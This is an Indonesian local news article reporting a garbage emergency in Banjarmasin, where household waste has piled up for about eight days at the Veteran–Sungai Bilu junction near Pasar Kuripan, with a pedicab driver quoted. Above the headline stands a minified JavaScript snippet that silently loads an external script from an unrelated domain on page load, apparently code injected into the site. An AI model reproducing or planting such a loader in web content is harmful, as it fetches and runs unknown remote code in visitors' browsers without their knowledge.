(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Gunungan Sampah di Veteran Banjarmasin, Darurat Sampah Makin Menjadi

KANALKALIMANTAN.COM, BANJARMASIN – Darurat sampah di Banjarmasin sudah tak bisa ditolerir, keterbatasan titik kumpul sampah sementara sebelum diangkut terus menggunung di beberapa sudut kota.

Seperti di pinggir Jalan Veteran tepatnya simpang tiga Jalan Sungai Bilu, dekat Pasar Kuripan, tumpukan sampah rumah tangga menggunung tak terangkut.

Terpantau pada Jumat (14/3/2025) sore, tumpukan sampah sudah melebar hingga ke badan jalan.

Sebelum bulan Ramadan, Darurat Sampah Banjarmasin sudah terjadi. Makin menjadi saat produksi sampah bekas konsumsi akhir rumah tangga meningkat dalam dua pekan selama bulan puasa.

Menurut pangakuan pengayuh becak kepada Kanalkalimantan, sampah di lokasi simpang tiga Veteran – Sungai Bilu sudah ada sejak 8 hari lalu.

Baca juga: Kekosongan Kepala Daerah di Ibu Kota Kalsel

“Sampah sudah cukup lama di sini, sekitar 8 hari. Dari pemerintah tak ada yang datang ke sini,” ungkap Ridwan, pengayuh becak di dekat lokasi TPS liar.

Meskipun ada upaya dari pihak petugas kebersihan yang mengangkut sampah 2 kali sehari, tetapi tetap saja masyarakat membuang sampah dibukan titik pembuangan sementara ini.

Tempat yang dijadikan tumpukan sampah ini. hanya bahu jalan yang berbatasan dengan tempat parkir sepeda motor di Pasar Kuripan.

“Karung-karung ini datang dari orang yang membuang menggunakan mobil pikap. Ada juga sampah ini dibuang warga menggunakan sepeda motor,” lanjut Ridwan.

Ridwan menyayangkan sikap warga yang tak peduli dengan petugas kebersihan yang berupaya mengurangi sampah di Jalan Veteran ini.

“Seharusnya kan masyarakat membuang bukan ke sini. Sebab sudah ada TPS Veteran arah sana (arah Sungai Lulut),” tutup Ridwan. (Kanalkalimantan.com/thorieq)

Reporter: thorieq
Editor: bie